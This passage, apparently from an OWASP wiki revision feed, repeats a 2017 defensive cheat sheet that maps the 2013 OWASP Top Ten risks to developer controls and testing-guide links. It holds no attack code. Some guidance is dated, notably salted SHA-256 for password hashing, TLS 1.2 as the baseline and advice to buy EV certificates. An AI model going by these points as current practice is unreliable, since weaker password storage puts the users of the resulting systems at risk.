||&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
* [[Testing for Local File Inclusion]]&lt;br /&gt;
* [[Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]&lt;br /&gt;
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]&lt;br /&gt;
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]&lt;br /&gt;
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231995</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231995"/>
				<updated>2017-08-03T03:12:04Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
* [[Testing for Local File Inclusion]]&lt;br /&gt;
* [[Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
